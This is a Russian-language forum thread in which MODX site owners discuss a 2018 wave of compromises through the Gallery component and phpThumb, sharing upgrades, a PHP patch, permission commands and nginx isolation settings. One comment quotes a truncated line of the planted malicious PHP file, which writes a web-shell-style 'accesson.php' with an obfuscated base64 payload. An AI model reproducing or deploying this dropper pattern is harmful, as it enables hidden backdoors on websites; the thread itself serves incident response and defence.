Главная
Блоги
Топики
Комментарии
Дополнения для MODX
Каталог сайтов
Каталог веб-студий
Пользователи
Контакты
Николай Ланец
2018-07-24 06:09:17
core нет смысла переносить выше. Надо только запретить обращение к ней извне (чтобы запросы на core не могли слать). Здесь запросы идут на assets и connectors, их имеет смысл переименовать. Только надо симлинки для картинок настроить, чтобы 404-ых не схватить.
>> find -type d -print0 |xargs -0 chmod 0550
Это по ssh выполняется одной командой. find -type d -print0 находит все папки. -print0 здесь - учет пробелов в названиях файлов. |xargs - указывает, что с найденными файлами надо выполнить следующие за ним команды, в нашем случае смену прав. -0 здесь работает в паре с -print0 и тоже устанавливает учет пробелов в именах файлов.
Но пока на обновленных сайтах новых взломов не было, может и не стоит столь сложную операцию делать (настраивать права на файлы), иначе могут возникнуть сбои в работе сайта.
И да, права выставляются хостером по умолчанию. Если все работает, то значит так и надо.
Н
Нико
2018-07-24 02:58:22
Мой сайт взломали как раз 20 июля. Появились левые php в assets/images и в public_html, все скрипты в папке assets/js приобрели одинаковый малый размер... В общем, все как вы и описали. Восстановил из бэкапа, благо месяц назад делал. Проапгрейдил до версии MODX-2.6.5, перенес core на уровень выше... Вопрос такой: при создании бэкапа хостер автоматически всем папкам выставляет атрибут 700, а файлам 600. Нужно ли менять? И не понял, команду find -type d -print0 |xargs -0 chmod 0550 из командной строки какой программы писать? И 0 - первая цифра атрибута - это для какой программы? В файловом менеджере хостера пишется просто 700, 600...
f
fStrange
2018-07-23 12:46:11
Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать.
//connectors/system/phpthumb.php
//fstr patch CVE-2018-1000207
if(isset($_POST["cache_filename"]) && strpos($_POST["cache_filename"],".php") ) die();
//assets/components/gallery/connector.php
//fstr patch2 CVE-2018-1000207
if(isset($_POST["action"]) && $_POST["action"] =="web/phpthumb" && isset($_POST["f"]) && (strtolower($_POST["f"])=="php") ) die();
Николай Ланец
2018-07-23 11:51:55
Да, у меня со вчера после обновления повторных взломов пока не замечено.
alroniks
2018-07-23 11:49:12
Взломы последней версии могли быть из-за Gallery. На текущий момент безопасная версия MODX - 2.6.5, безопасная версия Gallery - 1.7.1. Все доступно в репозиториях, нужно только вовремя обновиться и не затягивать с этим.
Ф
Финогентов Артем Николаевич
2018-07-23 07:20:27
Нашел такой же файл:
assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php
Но взлома или какой другой активности не было замечено.
Николай Ланец
2018-07-23 00:20:33
Кажется я нашел на своем сервере самый старый вредоносный файл. Появился 19-го числа (большинство же взломов было зафиксировано с 20-го числа).
assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php
С таким содержимым:
$s=$_SERVER['DOCUMENT_ROOT'].'/assets/';$s1=$s.'images/';$fh=fopen($s1.'accesson.php','w');fwrite($fh,'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90.......
На вид очень похоже на то, что именно через этот файл и осуществлялся взлом, то есть уязвимость действительно в gallery была.
Николай Ланец
2018-07-22 20:12:32
>> Более эффективного метода не существует)
Если уязвимость на сайте есть, то переустановка сервера особо не поможет. Здесь же речь не о уязвимости на уровне серверов, а именно об уязвимости на уровне сайтов. Я сделал так:
1. На уровне nginx отключил все сайты. То есть сами конфиги лежат в /etc/nginx/sites-available, а на подключенные сайты симлинки на них в /etc/nginx/site-enabled.
2. По одному вычищаю сайты и подключаю. При этом в каждый прописываю fastcgi_param PHP_VALUE open_basedir="/www/site_path/"; , то есть изоляция процессов в рамках конкретной директории.
Это не гарантирует отсутствие последующих взломов, но так зараза из взломанного сайта не распространится на другие. Таким образом легче будет проанализировать природу взлома, да и последствия меньше.